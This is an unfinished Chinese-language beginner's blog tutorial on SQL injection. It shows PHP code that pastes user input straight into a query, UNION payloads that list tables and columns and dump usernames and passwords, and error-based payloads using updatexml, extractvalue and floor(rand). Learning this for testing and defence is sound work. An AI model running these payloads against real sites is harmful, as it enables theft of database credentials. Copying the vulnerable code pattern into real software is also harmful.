sql注入入门(草稿)
观前提醒
本篇文章需要前置知识
知道什么是sql数据库
了解基本sql语句
一、了解什么是sql注入
我这里不扯概念,就简单讲讲我的理解
sql注入是指后台在拼接sql查询语句时未做安全处理而导致的非法查询
直接看代码
$id = $_GET['id'];
$SQL = "select * from '某字段' where id = $id;";
如上,$id是用户输入的值,会直接拼接在sql语句上,hacker可以通过报错、联合查询等方法获取数据库中的数据。这就叫sql注入
二、sql注入有关数据库的那些事
1. 联合查询
联合查询我个人认为是最有用的一种查询,一句话脱库不是梦
SELECT user FROM dwva.users
UNION
SELECT 1,GROUP_CONCAT(table_name) FROM information_schema.tables
WHERE table_schema=DATABASE()
2.
二、常见的sql注入方式
1. 数字型注入
#未完待续
三、一般注入思路
1.基于报错的联合查询注入
- 判断闭合方式
- 利用order by 判断列数
- union配合select收集信息
- 数据库表名
- 列名
- 脱库
笔记
#查当前数据库所有表名
select 1,group_concat(table_name),3 from information_schema.tables where table_schema = database()
#查当前表所有列
select 1,group_concat(column_name),3 from information_schema.columns where table_schema = database() and table_name = 'users' --+
#脱库(非通用)
select 1,group_concat(id,':',username,':',password,' '),3 from users --+
2.基于报错的报错注入
1.主键重复报错
and (select 1 from (select count(*),concat((payload),floor (rand(0)*2))x from information_schema.tables group by x)a)
2.updatexml()报错
and updatexml(1,concat(0x7e,(select database()),0x7e),1);
3.extractvalue()报错
and (extractvalue(1,concat(0x7e,substring((select database()),1,20))));
数据溢出报错(仅mysql5.5.53以下)
四、注入的高级技巧
1.堆叠注入
改表名
预处理语句
正则绕过技巧
- concat
- char
- hex
sql注入入门(草稿)
http://blog.233c.cn/posts/10007/